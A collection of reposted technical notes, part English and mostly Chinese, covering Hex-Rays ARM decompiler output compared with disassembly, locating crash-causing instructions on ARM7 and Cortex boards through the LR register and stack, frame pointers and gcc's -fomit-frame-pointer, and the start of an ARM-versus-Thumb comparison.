; void __fastcall sub_2A38(list_t *ptr, unsigned int a2) sub_2A38 ; CODE XREF: sub_5C8+48p ; sub_648+5Cp … MOV R2, #0 STMFD SP!, {LR} MOV R3, R2 MOV R12, R2 MOV LR, R2 SUBS R1, R1, #0x20 loc_2A50 ; CODE XREF: sub_2A38+24j STMCSIA R0!, {R2,R3,R12,LR} STMCSIA R0!, {R2,R3,R12,LR} SUBCSS R1, R1, #0x20 BCS loc_2A50 MOVS R1, R1,LSL#28 STMCSIA R0!, {R2,R3,R12,LR} STMMIIA R0!, {R2,R3} LDMFD SP!, {LR} MOVS R1, R1,LSL#2 STRCS R2, [R0],#4 MOVEQ PC, LR STRMIH R2, [R0],#2 TST R1, #0x40000000 STRNEB R2, [R0],#1 RET ; End of function sub_2A38 void __fastcall sub_2A38(list_t *ptr, unsigned int a2) { char copybig; // cf@1 unsigned int size; // r1@1 list_t *v4; // r0@3 int remains; // r1@4 int final; // r1@8 copybig = a2 >= 0x20; size = a2 – 32; do { if ( !copybig ) break; ptr->dword0 = 0; ptr->dword4 = 0; ptr->dword8 = 0; ptr->dwordC = 0; v4 = ptr + 1; v4->dword0 = 0; v4->dword4 = 0; v4->dword8 = 0; v4->dwordC = 0; ptr = v4 + 1; copybig = size >= 0x20; size -= 32; } while ( copybig ); remains = size << 28; if ( copybig ) { ptr->dword0 = 0; ptr->dword4 = 0; ptr->dword8 = 0; ptr->dwordC = 0; ++ptr; } if ( remains < 0 ) { ptr->dword0 = 0; ptr->dword4 = 0; ptr = (list_t *)((char *)ptr + 8); } final = 4 * remains; if ( copybig ) { ptr->dword0 = 0; ptr = (list_t *)((char *)ptr + 4); } if ( final ) { if ( final < 0 ) { LOWORD(ptr->dword0) = 0; ptr = (list_t *)((char *)ptr + 2); } if ( final & 0x40000000 ) LOBYTE(ptr->dword0) = 0; } }
Conditional instructions are just part of the story. ARM is also famous for having a plethora of data movement instructions. They come with a set of possible suffixes that subtly change the meaning of the instruction. Take STMCSIA, for example. It is a STM instruction, but then you have to remember thatCS means “carry set” and IA means “increment after”. 

In short, the disassembly listing is like Chinese. The pseudocode is longer but requires much less time to understand.

Compiler helper functions
EXPORT op_two64 op_two64 ; CODE XREF: refer_all+31Cp ; main+78p anonymous_1 = -0x28 var_20 = -0x20 anonymous_0 = -0x18 var_10 = -0x10 arg_0 = 4 000 MOV R12, SP 000 STMFD SP!, {R4,R11,R12,LR,PC} 014 SUB R11, R12, #4 014 SUB SP, SP, #0x18 02C SUB R4, R11, #-var_10 02C STMDB R4, {R0,R1} 02C MOV R1, 0xFFFFFFF0 02C SUB R12, R11, #-var_10 02C ADD R1, R12, R1 02C STMIA R1, {R2,R3} 02C LDR R3, [R11,#arg_0] 02C CMP R3, #1 02C BNE loc_9C44 02C MOV R3, 0xFFFFFFF0 02C SUB R0, R11, #-var_10 02C ADD R3, R0, R3 02C SUB R4, R11, #-var_10 02C LDMDB R4, {R1,R2} 02C LDMIA R3, {R3,R4} 02C ADDS R3, R3, R1 02C ADC R4, R4, R2 02C SUB R12, R11, #-var_20 02C STMDB R12, {R3,R4} 02C B loc_9D04 ; ————————————————————————— loc_9C44 ; CODE XREF: op_two64+30j 02C LDR R3, [R11,#arg_0] 02C CMP R3, #2 02C BNE loc_9C7C 02C MOV R3, 0xFFFFFFF0 02C SUB R0, R11, #-var_10 02C ADD R3, R0, R3 02C SUB R4, R11, #-var_10 02C LDMDB R4, {R1,R2} 02C LDMIA R3, {R3,R4} 02C SUBS R3, R1, R3 02C SBC R4, R2, R4 02C SUB R12, R11, #-var_20 02C STMDB R12, {R3,R4} 02C B loc_9D04 ; ————————————————————————— loc_9C7C ; CODE XREF: op_two64+68j 02C LDR R3, [R11,#arg_0] 02C CMP R3, #3 02C BNE loc_9CB8 02C MOV R3, 0xFFFFFFF0 02C SUB R0, R11, #-var_10 02C ADD R3, R0, R3 02C SUB R2, R11, #-var_10 02C LDMDB R2, {R0,R1} 02C LDMIA R3, {R2,R3} 02C BL __muldi3 02C MOV R4, R1 02C MOV R3, R0 02C SUB R12, R11, #-var_20 02C STMDB R12, {R3,R4} 02C B loc_9D04 ; ————————————————————————— loc_9CB8 ; CODE XREF: op_two64+A0j 02C LDR R3, [R11,#arg_0] 02C CMP R3, #4 02C BNE loc_9CF4 02C MOV R3, 0xFFFFFFF0 02C SUB R0, R11, #-var_10 02C ADD R3, R0, R3 02C SUB R2, R11, #-var_10 02C LDMDB R2, {R0,R1} 02C LDMIA R3, {R2,R3} 02C BL __divdi3 02C MOV R4, R1 02C MOV R3, R0 02C SUB R12, R11, #-var_20 02C STMDB R12, {R3,R4} 02C B loc_9D04 ; ————————————————————————— loc_9CF4 ; CODE XREF: op_two64+DCj 02C MOV R3, 0xFFFFFFFF 02C MOV R2, 0xFFFFFFFF 02C SUB R4, R11, #-var_20 02C STMDB R4, {R2,R3} loc_9D04 ; CODE XREF: op_two64+5Cj ; op_two64+94j … 02C SUB R12, R11, #-var_20 02C LDMDB R12, {R0,R1} 02C SUB SP, R11, #0x10 014 LDMFD SP, {R4,R11,SP,PC} ; End of function op_two64 signed __int64 __fastcall op_two64(signed __int64 a1, signed __int64 a2, int a3) { signed __int64 v4; // [sp+0h] [bp-28h]@2 switch ( a3 ) { case 1: v4 = a2 + a1; break; case 2: v4 = a1 – a2; break; case 3: v4 = a1 * a2; break; case 4: v4 = a1 / a2; break; default: v4 = -1LL; break; } return v4; }
Sorry for another long code snippet. Just wanted to show you that the decompiler can handle compiler helper functions (like __divdi3) and handles 64-bit arithmetic quite well.

Immediate constants
loc_110D6 ; CODE XREF: sub_10E38+43Cj ; sub_10E38+442j … LDR R1, =(tmin_ptr – 0x1CDB8) LDR R2, =(tmax_ptr – 0x1CDB8) LDR R0, =(aRttMinAvgMaxMd – 0x1CDB8) LDR R6, [R7,R1] LDR R5, [R7,R2] MOVS R3, #0xFA LDR R4, [R6] LSLS R1, R3, #2 LDR R6, [R5] ADDS R5, R7, R0 ; “rtt min/avg/max/mdev = %ld.%03ld/%lu.%0″… MOVS R0, R4 BLX __aeabi_idiv MOV R8, R0 MOVS R0, R4 MOVS R4, #0xFA LSLS R1, R4, #2 BLX __aeabi_idivmod LDR R3, =0 LDR R2, =0x3E8 MOVS R4, R1 LDR R0, [SP,#0x78+var_40] LDR R1, [SP,#0x78+var_40+4] BLX __aeabi_ldivmod LDR R3, =0 LDR R2, =0x3E8 STR R0, [SP,#0x78+var_50] STR R1, [SP,#0x78+var_4C] LDR R0, [SP,#0x78+var_40] LDR R1, [SP,#0x78+var_40+4] BLX __aeabi_ldivmod MOVS R1, #0xFA MOVS R0, R6 LSLS R1, R1, #2 STR R2, [SP,#0x78+var_78] BLX __aeabi_idiv STR R0, [SP,#0x78+var_74] MOVS R0, R6 MOVS R6, #0xFA LSLS R1, R6, #2 BLX __aeabi_idivmod MOVS R2, #0xFA STR R1, [SP,#0x78+var_70] LDR R0, [SP,#0x78+var_38] LSLS R1, R2, #2 BLX __aeabi_idiv MOVS R3, #0xFA STR R0, [SP,#0x78+var_6C] LSLS R1, R3, #2 LDR R0, [SP,#0x78+var_38] BLX __aeabi_idivmod MOVS R0, R5 ; format STR R1, [SP,#0x78+var_68] MOVS R2, R4 MOV R1, R8 LDR R3, [SP,#0x78+var_50] BLX printf printf( “rtt min/avg/max/mdev = %ld.%03ld/%lu.%03ld/%ld.%03ld/%ld.%03ld ms”, tmin / 1000, tmin % 1000, v27 / 1000, v27 % 1000, tmax / 1000, tmax % 1000, v28 / 1000, v28 % 1000);
Since ARM instructions can not have big immediate constants, sometimes they are loaded with two isntructions. There are many 0xFA (250 decimal) constants in the disassembly listing, but all of them are shifted to the left by 2 before use. The decompiler saves you from these petty details. 

Also a side: the decompiler can handle ARM mode as well as Thumb mode instructions. It just does not care about the instruction encoding because it is already handled by IDA.

Position independent code
sub_65768 ; DATA XREF: .data:007E37A4o var_18 = -0x18 var_14 = -0x14 var_10 = -0x10 arg_0 = 0 PUSH {LR} LDR.W R12, =aResponsetype ; “responseType” SUB SP, SP, #0x14 ADR.W LR, loc_65774 loc_65774 ; DATA XREF: sub_65768+8o ADD R12, LR LDR.W LR, [SP,#0x18+arg_0] STR.W LR, [SP,#0x18+var_18] MOV.W LR, #0x10 STR.W LR, [SP,#0x18+var_14] LDR.W LR, =0xFFF0883C ADD R12, LR STR.W R12, [SP,#0x18+var_10] BL sub_65378 ADD SP, SP, #0x14 POP {PC} ; End of function sub_65768 int __fastcall sub_65768(int a1, int a2, int a3, int a4, int a5) { return sub_65378(a1, a2, a3, a4, a5, 16, (int)myarray); }
In some case the disassembly listing can be misleading, especially with PIC (position independent code). While the address of a constant string is loaded into R12, the code does not care about it. It is just how variable addresses are calculated in PIC-code (it is .got-someoffset). Such calculations are very frequent in shared objects and unfortunately IDA can not handle all of them. 

But the decompiler did a great job of tracing R12.

NOTE: these are just some selected examples that can be illustrated as side-by-side differences. There are lots of features that are not mentioned on this page – simply because there was nothing to compare them with. The ARM decompiler can handle variadic functions (and we added a special command to specify the number of call arguments if it is miscalculated), indirect calls (the user can control the call arguments), structures passed by value, user defined calling conventions, etc. As this is the first version, floating point calculations and fancy SIMD instructions are not supported but we will eventually added them.

Hex-Rays ARM Decompiler v1.0 is capable of handling real world compiler generated code.

教你如何找到导致程序跑飞的指令

转载自: http://blog.sina.com.cn/s/blog_908da74601011g31.html

本节PDF文档请在http://dl.dbank.com/c05ix5bmht下载

调试嵌入式程序时,你是否遇到过程序跑飞最终导致硬件异常中断的问题?遇到这种问题是否感觉比较难定位?不知道问题出在哪里,没有办法跟踪?尤其是当别人的程序踩了自己的内存,那就只能哭了🙁

今天在论坛上看有同学求助这种问题,正好我还算有一点办法,就和大家分享一下。

解决办法非常非常简单,本文将以Aduc7026ARM7内核)和LM3S8962cortex内核,STM32也是cortex内核,同理)为例,讲讲解如何定位此种问题。

先说ARM7内核,cortex内核稍微有一点复杂,后面再说。

ARM7内核有多种工作模式,每种模式下有R0~R15以及CPSR17个寄存器可以使用,有关这些寄存器的细节我就不详细介绍了,详细的介绍请参考“底层工作者手册之嵌入式操作系统内核”中的2.2~2.3节,这里只介绍与本文相关的寄存器。

其中R14又叫做LR寄存器,它被用来保存函数、中断调用时的返回地址,看到了吧,它保存了“返回地址”!这不就是我们需要的么?就这么简单,发生异常中断时,LR寄存器中保存的地址附近就会有导致异常的指令。

接下来我们再先了解一下相关的知识,然后再通过一个例子构造一个指令异常,然后再反推找到产生异常的这条指令,做一个实例演练!

当程序跑飞时,绝大部分情况都会触发硬件异常中断,硬件异常中断的中断服务函数在中断向量表中有定义,我们来看看ARM7的中断向量表,在keil开发环境里(以下例子是在keil环境下介绍的),这个文件一般叫startup.s,如下:

Vectors:        LDR     PC, Reset_Addr

               LDR     PC, Undef_Addr

               LDR     PC, SWI_Addr

               LDR     PC, PAbt_Addr

               LDR     PC, DAbt_Addr

               NOP                            

               LDR     PC, IRQ_Addr

               LDR     PC, FIQ_Addr

Reset_Addr:     .word   Reset_Handler

Undef_Addr:     .word   ADI_UNDEF_Interrupt_Setup

SWI_Addr:       .word   ADI_SWI_Interrupt_Setup

PAbt_Addr:      .word   ADI_PABORT_Interrupt_Setup

DAbt_Addr:      .word   ADI_DABORT_Interrupt_Setup

IRQ_Addr:       .word   ADI_IRQ_Interrupt_Setup

FIQ_Addr:       .word   ADI_FIQ_Interrupt_Setup

ARM7的中断向量表比较简单,只有7种中断,它把所有正常的中断都放到了SWIIRQFIQ中了,那么本文所介绍的异常情况将会触发UndefPAbt或者DAbt异常中断,至于是哪种就需要看具体的原因了。

指令   //触发异常

指令B

比如说当指令A无法执行时,它就会触发异常中断,硬件就会自动将这条指令后面的指令的所在地址,也就是指令B的地址保存到LR寄存器中,然后就跳转到与这种异常相关的中断向量表中,假如指令A触发了Undef异常中断,那么硬件就会跳转到中断向量表的第二个中断向量Undef_Addr,从中断向量表可知,这个中断向量对应的中断服务函数就是ADI_UNDEF_Interrupt_Setup,这个函数一般是一个死循环,这样单板就死了,当我们停下程序时,就会发现程序停在了这个函数里面。

我们来看下面这个实例,我把定位过程的每一步都记录下来,一起来看下:

14  S32 main(void)

15  {

16      U8* pucAddr;

17  

18      

19      DEV_HardwareInit();

20  

21      

22      WLX_TaskInit(1, TEST_TestTask1, TEST_GetTaskInitSp(1));

23      WLX_TaskInit(2, TEST_TestTask2, TEST_GetTaskInitSp(2));

24  

25      

26      pucAddr (U8*)0;

27      *pucAddr 0;

28      

29  

30  

31      

32      WLX_TaskStart();

33  

34      return 0;

35  }

上面这段测试代码是我在我写的一个小型嵌入式操作系统上改的(有兴趣的话可以访问我的博客O(_)O),只需要关注2627行即可,其余的只是陪衬,以使这段程序看起来稍微复杂一些。这两行指令将0地址清00地址是中断向量表,向这个地址写数据会导致异常的,但——这正是我们所需要的。

然后,为了方便,我们在中断向量表里把上面的3个异常中断向量都修改一下,如下:

Vectors:        LDR     PC, Reset_Addr

               LDR     PC, FaultIsr

               LDR     PC, SWI_Addr

               LDR     PC, FaultIsr

               LDR     PC, FaultIsr

               NOP                            

               LDR     PC, IRQ_Addr

               LDR     PC, FIQ_Addr

这样,只要发生异常中断就都会进入FaultIsr函数,FaultIsr函数如下:

void FaultIsr()

{

   while(1)

  {

       ;

  }

}

可以看到FaultIsr函数是个死循环,所以当程序发生异常跑飞时就会死在这里了。

准备工作完成,准备实战演练!在这之前还有一点需要注意,那就是最好将编译选项设置为不优化,这样方便我们定位问题。当然,实际情况也许不允许我们这么做,这样的话就需要你有比较高的汇编语言水平了,这不在本文讨论之内,先不管了。我们在这个例子里将编译选项设置为不优化。

我们将上面改动后的代码重新编译,然后加载到单板里,进入仿真状态,然后全速运行,然后再停止运行,我们就可以发现程序死在FaultIsr函数里了,如下图所示:

教你如何找到导致程序跑飞的指令

图1

从图1可以看到程序停在了42行,这与我们的设计是一致的。在图1的左侧显示了此时各个寄存器内的数值,注意到LR寄存器了吧,这里保存的就是返回地址,出错的指令就在这附近。但,还有一点需要注意,FaultIsr函数是C语言函数,它运行时可能会修改LR寄存器,如果是这样的话,那么此时LR寄存器内的数值就不是发生异常时的值了,为解决此问题,我们可以找到FaultIsr函数的起始地址,将断点打在FaultIsr函数的起始地址,这样当异常发生时就会停在断点的地方,也就是FaultIsr函数的起始地址,这样就可以保证LR寄存器的值就是发生异常时的值了。

如果你的汇编语言足够好,那么你可以在图1右上角的汇编窗口里向上找,找到FaultIsr函数的起始地址。另外,我们还可以通过一个简单的方法找到FaultIsr函数的起始地址。我们在keil的选项中选择生成map文件,代码编译后就会生成一个map文件,我们可以从这个文件里找到FaultIsr函数的地址。

使用一个文本编辑器打开这个map文件,然后搜索“FaultIsr”,如下图,我们就找到了FaultIsr函数的起始地址:0x80608

教你如何找到导致程序跑飞的指令

2

在汇编窗口找到0x80608的地址,打上断点,如下图所示:

教你如何找到导致程序跑飞的指令

3

复位程序,再重新全速跑一遍,我们就会发现程序停在了断点上,这时LR里面的数值就是程序异常时存入的返回地址,通过这个地址差不多就可以找到出错的指令了。

如图3所示,LR的值为0x805ec,我们在汇编窗口里跳到这个地址,如下图所示:

教你如何找到导致程序跑飞的指令

4

ARM7内核有2级流水线,存入LR的地址一般会多+8个字节,因此0x805ec-8=0x805e4,如图4所示,0x805e4地址是一条STRB R2[R3]指令,这条指令的意思是将R2寄存器里的数值保存到R3寄存器所指向的地址(一个字节)内。从图3左侧可以看到R2寄存器的数值为0R3寄存器的数值也为0,那么这条指令的意思就是将0这个数值写入0地址这个字节内,这不是正好对应上述main函数中27行的C指令么?

看到这里我们就应该明白了,向0地址写0,这条C指令有问题,那么这个跑飞的问题也就找到原因了,是不是很简单?

当然,实际情况可能要比上述介绍的情况复杂的多。实际使用的程序几乎都是经过优化的,这样从汇编指令找到C指令就会比较麻烦。还有可能FaultIsr函数的指令或者堆栈被破坏了,那么FaultIsr函数运行都会出问题。还有可能出错的指令不会象27行这么明显,可能是经过了前面很多步骤的积累才在这里触发异常的,最典型的就是别人的程序踩了你的内存,结果错误在你的程序里表现出来了,如果遇到这种情况你就先哭一顿吧。对于这种踩内存的情况也是可以通过这种方法定位的,但这相当复杂,需要从出错点开始到触发异常点为止,这之间所有的堆栈信息,然后从最后的堆栈开始,结合反汇编的代码,从最后一条指令向前推,直到发现问题的根源。这种方法相当于是我们用我们的大脑模拟CPU的反向运行过程,如果程序是经过优化的,那么这个过程就更麻烦了。我准备在“底层工作者手册之嵌入式操作系统内核”6.1节实例讲解一个这种情况(现在是2012.02.28,手册暂时只写到了5.4节)。

好了,先不说这么复杂的了,接着上面的继续说。

有时候出现问题的单板并不在我们手边,问题也许不能复现,那么我们就可以预先在FaultIsr函数里做一个打印功能——将出现异常时的寄存器、堆栈、软件版本号等信息打印出来,编写这样的FaultIsr函数需要注意,FaultIsr函数开始的代码一定要用汇编语言来写,以防止调用FaultIsr函数时的寄存器、堆栈信息被C语言破坏。

如果我们的单板有这样的功能,那么当单板跑死时,一般情况都会向外打印信息,比如上面的例子,就会打印出LR的值为0x805ec。但我们似乎又遇到了一个问题,我们如何知道0x805ec这个地址是哪个函数的?别忘了,我们在一个版本发布时会将软件所有的信息归档(什么?没归档!这样的公司我劝你还是走了吧),根据软件版本号找到出问题的软件的归档文件,取出map文件,利用上面讲述的方法通过map文件我们就可以找到出问题的函数了。再通过软件版本从归档文件中找到这个函数最终编译链接生成的目标文件,一般为.o.axf.elf等文件(必须是静态链接的文件,需要有各种段信息的),不能是binhex等文件,windowslinux等动态链接的文件已经超出了我目前的知识范围,也不再其中。

然后使用objdump程序进行反汇编,将目标文件与objdump程序放到同一个目录,在cmd窗口下进到这个目录,执行下面命令:

objdump -d wanlix.elf >> uncode.txt

这行命令的意思是将wanlix.elf目标程序进行反汇编,反汇编的结果以文本格式存入uncode.txt文本文件。

我们用文本编辑器打开uncode.txt文件,找到0x805ec地址,如下图所示:

教你如何找到导致程序跑飞的指令

5

如图5所示,我们可以看到0x805ec这个地址位于main函数内,我们再对比一下图5和图4中的指令,可以发现它们是相同的,可能写法上会有一些差异,但功能是相同的。

好了,ARM7内核的介绍到此结束,下面介绍cortex内核的,使用STSTM32TILM3S系列的同学们注意了,它们都是cortex内核的,下面的介绍你也许用得上。

Cortex内核与ARM7内核定位此种问题的思路完全是一样的,cortex内核的详细介绍请参考“底层工作者手册之嵌入式操作系统内核”中的5.1节。cortex内核有一些特殊,它在产生中断时会先将R0~R3R12LRPC以及XPSR8个寄存器压入当前的堆栈,然后才跳转到中断向量表执行中断服务程序,此时LR中保存的不是返回地址,而是返回时所使用的芯片模式和堆栈寄存器的标示,只能是0xFFFFFFF10xFFFFFFF9或者是0xFFFFFFFD3个值中的一个,如果你还认为LR中保存的是返回地址,并且是这么奇特的地址,估计你一定会晕了。

要找cortex内核芯片的返回地址就需要到栈中去找,前面不是说了么,进入中断前硬件会自动向当前栈压入8个寄存器,如下图所示:

教你如何找到导致程序跑飞的指令

图6

如果你看了2.3节和5.1节就应该知道cortexARM7内核都是一种递减满栈,意思是说压栈时栈指针向低地址移动,栈指针指向最后压入的数据。SPR13)寄存器就是栈寄存器,它里面保存的就是当前的栈指针,因此当cortex内核发生中断时,我们就可以根据SP指针来找到压入上述8个寄存器的地址,然后找到LR的位置,再从LR中找到返回地址,下面的这个例子是“底层工作者手册之嵌入式操作系统内核”中的6.1节的一个例子,

void TEST_TestTask1(void)

{

   while(1)

   {

       DEV_PutStrToMem((U8*)”\r\nTask1 is running! Tick is: %d”,

                       MDS_SystemTickGet());

       DEV_DelayMs(1000);

       MDS_TaskDelay(250);

       if(MDS_SystemTickGet() >= 2000)

       {

           ADDRVAL(0xFFFFFFFF) 0;

       }

   }

}

   红色字体部分会触发一个异常,它会向0xFFFFFFFF这个地址写入0,也会触发一个异常中断,触发的异常会进入MDS_FaultIsrContext异常中断服务函数,在MDS_FaultIsrContext函数的入口地址打上断点,运行此程序,触发异常后如下图:

教你如何找到导致程序跑飞的指令

图7

   从图7左上侧窗口可以看到SP的值为0x20001258,那么我们在右下角的窗口找到0x20001258这块内存的地址,从0x20001258开始,每4个字节对应一个寄存器,依次为R0R1R2R3R12LRPCXPSR,其中红框的位置就对应着LR,从图中可以看到LR的值为0x1669,我们找到这个版本编译后的目标文件,使用objdump软件反汇编,如下图所示:

教你如何找到导致程序跑飞的指令

图8

可以看到0x1669这个地址位于TEST_TestTask1函数里,与我们设计的一致。

这段代码是经过O2优化的,汇编指令对照到C指令上会有些费事,这里就不再讲解了,知道方法就好,剩下的自己研究。

这里面有2点说明一下,一是cortex内核支持双堆栈,如果使用双堆栈的话会复杂一点,这里为了简单的说明问题,我们只使用了其中的一个MSP,另外一个PSP没有使用,在这个例子里你只需要认为只有一个SP就可以了。另外一点是0x1669这个地址其实就是0x1668,因为cortex内核采用的是Thumb2指令集,该指令集要求指令的最后一个bit1,因此0x1668就变成了0x1669

上面介绍ARM7内核的时候我不是说过如果在FaultIsr函数里做一个打印功能就可以通过打印信息来定位这种问题么,其实在介绍cortex内核的这个例子中我就做了这个功能,具体的实现就先不介绍了,有兴趣的同学可以看我6.1节的介绍(2012.02.28,目前book还没写到6.1节),下面是出现异常时打印的一小段信息,从这段信息里我们可以看到SPR13)的数值为0x20001258,与图7的情况一样,那么在栈中从0x20001258这个地址向上找,找到栈中保存LR的位置,它的数值就是0x1669,与图7中的分析是一致的。

注意一点蓝色字体的R14是我这段打印程序还原过的,因此它与内存中的数值是一样的。

R15 0x00000536 R14 0x00001669 R13 0x20001258 R12 0x00000000

R11 0x00000000 R10 0x00000000 R9  0x00000000 R8  0x00000000

R7  0x00000000 R6  0x000003E8 R5  0x000007D0 R4  0x00000000

R3  0x0000008C R2  0x00000000 R1  0xE000ED04 R0  0x00000834

XPSR= 0x21000000

0x20001274: 0x21000000

0x20001270: 0x00000536

0x2000126C: 0x00001669

0x20001268: 0x00000000

0x20001264: 0x0000008C

0x20001260: 0x00000000

0x2000125C: 0xE000ED04

0x20001258: 0x00000834

FP寄存器及frame pointer介绍

理论上来说,ARM的15个通用寄存器是通用的,但实际上并非如此,特别是在过程调用的过程中。

PCS(Procedure Call Standard for Arm architecture)就定义了过程调用中,寄存器的特殊用途。
Role in the procedure call standard
r15 PC The Program Counter.
r14 LR The Link Register.
r13 SP The Stack Pointer.
r12 IP The Intra-Procedure-call scratch register. (可简单的认为暂存SP)
实际上,还有一个r11是optional的,被称为FP,即frame pointer。
1,stack frame
stack我们都知道,每一个进程都有自己的栈。考虑进程执行时发生函数调用的场景,母函数和子函数使用的是同一个栈,在通常的情况下,我们并不需要区分母函数和子函数分别使用了栈的哪个部分。但是,当我们需要在执行过程中对函数调用进行backtrace的时候,这一信息就很重要了。
简单的说,stack frame就是一个函数所使用的stack的一部分,所有函数的stack frame串起来就组成了一个完整的栈。stack frame的两个边界分别由FP和SP来限定。
2,backtrace
在程序执行过程中(通常是发生了某种意外情况而需要进行调试),通过SP和FP所限定的stack frame,就可以得到母函数的SP和FP,从而得到母函数的stack frame(PC,LR,SP,FP会在函数调用的第一时间压栈),以此追溯,即可得到所有函数的调用顺序。
3,gcc关于stack frame的优化选项
看起来FP只是在backtrace的时候有用,所以如果我们没有backstrace的需求,我们是否可以不使用FP。
其实gcc就有一个关于stack frame的优化选项:
-fomit-frame-pointer
=================================================================================
Don’t keep the frame pointer in a register for functions that don’t need one. This avoids the instructions to save, set up and restore frame pointers; it also makes an extra register available in many functions. It also makes debugging impossible on some machines.

On some machines, such as the VAX, this flag has no effect, because the standard calling sequence automatically handles the frame pointer and nothing is saved by pretending it doesn’t exist. The machine-description macro “FRAME_POINTER_REQUIRED” controls whether a target machine supports this flag.

==================================================================================

这里引用别人关于这一参数的实验,自己就不做了。

从实验可以看出,优化后的差别是相当明显的。当然,具体能带来多大的性能提升,不好界定。

另外,x86中EBP寄存器相当于ARM中的FP寄存器。

 

==================================================================================

http://blog.csdn.net/byzs/article/details/2220461

 

环境:X86+Redhat 9.0,gcc 3.2.2

源文件如下:

$ cat test.c
void a(unsigned long a, unsigned int b)
{
unsigned long i;
unsigned int j;

        i = a;
j = b;

        i++;

        j += 2;

}

默认编译选项:
$ gcc -c test.c -o with_SFP.o

反汇编后是这个样子:
$ objdump -D with_SFP.o

with_SFP.o:     file format elf32-i386

Disassembly of section .text:

00000000 <a>:
0:   55                      push   %ebp
1:   89 e5                   mov    %esp,%ebp
3:   83 ec 08                sub    $0x8,%esp
6:   8b 45 08                mov    0x8(%ebp),%eax
9:   89 45 fc                mov    %eax,0xfffffffc(%ebp)
c:   8b 45 0c                mov    0xc(%ebp),%eax
f:   89 45 f8                mov    %eax,0xfffffff8(%ebp)
12:   8d 45 fc                lea    0xfffffffc(%ebp),%eax
15:   ff 00                   incl   (%eax)
17:   8d 45 f8                lea    0xfffffff8(%ebp),%eax
1a:   83 00 02                addl   $0x2,(%eax)
1d:   c9                      leave
1e:   c3                      ret
Disassembly of section .data:

可以看到函数ENTER时首先把上一层函数的EBP入栈,设置本函数的EBP,然后会根据临时变量的数量和对齐要求去设置ESP,也就产生了函数的stack frame。
我们再看看函数的返回:”leave”指令相当于”mov %ebp,%esp;pop %ebp”,也就是ENTER是两条指令的恢复过程,所以,后面的”ret”指令和”call”指令对应。
这里backtrace就可以根据现有函数EBP指针得知上一个函数的EBP—-栈底再往上保存着上一个函数的EBP和EIP,然后就可以得知函数调用的路径。

SFP是可以在编译时候优化掉的,用”-fomit-frame-pointer”选项

编译:
$ gcc -fomit-frame-pointer -c test.c -o no_SFP.o

$ objdump -D no_SFP.o

no_SFP.o:     file format elf32-i386

Disassembly of section .text:

00000000 <a>:
0:   83 ec 08                sub    $0x8,%esp
3:   8b 44 24 0c             mov    0xc(%esp,1),%eax
7:   89 44 24 04             mov    %eax,0x4(%esp,1)
b:   8b 44 24 10             mov    0x10(%esp,1),%eax
f:   89 04 24                mov    %eax,(%esp,1)
12:   8d 44 24 04             lea    0x4(%esp,1),%eax
16:   ff 00                   incl   (%eax)
18:   89 e0                   mov    %esp,%eax
1a:   83 00 02                addl   $0x2,(%eax)
1d:   83 c4 08                add    $0x8,%esp
20:   c3                      ret
Disassembly of section .data:

这里把EBP省掉了,ESP兼职了EBP的部分工作(索引临时变量)。
显而易见,代码难懂了;-P, 代码执行长度缩短了,应该能引起效率的提升。 可恶的是,不能用backtrace调试了。

看一下arm下面的情况:
含有SFP的版本:
$ arm-linux-objdump -D SFP_arm.o

SFP_arm.o :     file format elf32-littlearm

Disassembly of section .text:

00000000 <a>:
0:   e1a0c00d        mov     ip, sp
4:   e92dd800        stmdb   sp!, {fp, ip, lr, pc}
8:   e24cb004        sub     fp, ip, #4      ; 0x4
c:   e24dd010        sub     sp, sp, #16     ; 0x10
10:   e50b0010        str     r0, [fp, -#16]
14:   e50b1014        str     r1, [fp, -#20]
18:   e51b3010        ldr     r3, [fp, -#16]
1c:   e50b3018        str     r3, [fp, -#24]
20:   e51b3014        ldr     r3, [fp, -#20]
24:   e50b301c        str     r3, [fp, -#28]
28:   e51b3018        ldr     r3, [fp, -#24]
2c:   e2833001        add     r3, r3, #1      ; 0x1
30:   e50b3018        str     r3, [fp, -#24]
34:   e51b301c        ldr     r3, [fp, -#28]
38:   e2833002        add     r3, r3, #2      ; 0x2
3c:   e50b301c        str     r3, [fp, -#28]
40:   e91ba800        ldmdb   fp, {fp, sp, pc}
Disassembly of section .data:

优化后的版本:
$ arm-linux-objdump -D no_SFP_arm.o

no_SFP_arm.o:     file format elf32-littlearm

Disassembly of section .text:

00000000 <a>:
0:   e24dd010        sub     sp, sp, #16     ; 0x10
4:   e58d000c        str     r0, [sp, #12]
8:   e58d1008        str     r1, [sp, #8]
c:   e59d300c        ldr     r3, [sp, #12]
10:   e58d3004        str     r3, [sp, #4]
14:   e59d3008        ldr     r3, [sp, #8]
18:   e58d3000        str     r3, [sp]
1c:   e59d3004        ldr     r3, [sp, #4]
20:   e2833001        add     r3, r3, #1      ; 0x1
24:   e58d3004        str     r3, [sp, #4]
28:   e59d3000        ldr     r3, [sp]
2c:   e2833002        add     r3, r3, #2      ; 0x2
30:   e58d3000        str     r3, [sp]
34:   e28dd010        add     sp, sp, #16     ; 0x10
38:   e1a0f00e        mov     pc, lr
Disassembly of section .data:

这里,”fp”充当了”EBP”的角色,ESP在X86里面被leave隐含的恢复好了,所以没有显示设置的必要。
看起来arm平台上”-fomit-frame-pointer”选项的优化作用更加明显。

 

ARM指令和Thumb指令的区别

一、现在先区分下ARM指令集与Thumb指令集
Thumb 指令可以看作是 ARM 指令压缩形式的子集,是针对代码密度的问题而提出的,它具有 16 位的代码密度但是它不如ARM指令的效率高 .Thumb 不是一个完整的体系结构,不能指望处理只执行Thumb 指令而不支持 ARM 指令集.因此,Thumb 指令只需要支持通用功能,必要时可以借助于完善的 ARM 指令集,比如,所有异常自动进入 ARM 状态.在编写 Thumb 指令时,先要使用伪指令 CODE16 声明,而且在 ARM 指令中要使用 BX指令跳转到 Thumb 指令,以切换处理器状态.编写 ARM 指令时,则可使用伪指令 CODE32声明.

流水线处理:
不同于微编码的处理器,ARM (保持它的 RISC 性)是完全硬布线的。

为了加速 ARM 2 和 3 的执行使用 3 阶段流水线。第一阶段持有从内存中取回的指令。第二阶段开始解码,而第三阶段实际执行它。故此,程序计数器总是超出当前执行的指令两个指令。(在为分支指令计算偏移量时必须计算在内)。

因为有这个流水线,在分支时丢失 2 个指令周期(因为要重新添满流水线)。所以最好利用条件执行指令来避免浪费周期。例如:


CMP R0,#0
BEQ over
MOV R1,#1
MOV R2,#2
over

可以写为更有效的:

CMP R0,#0
MOVNE R1,#1
MOVNE R2,#2
二、Thumb 指令集与 ARM 指令集的区别
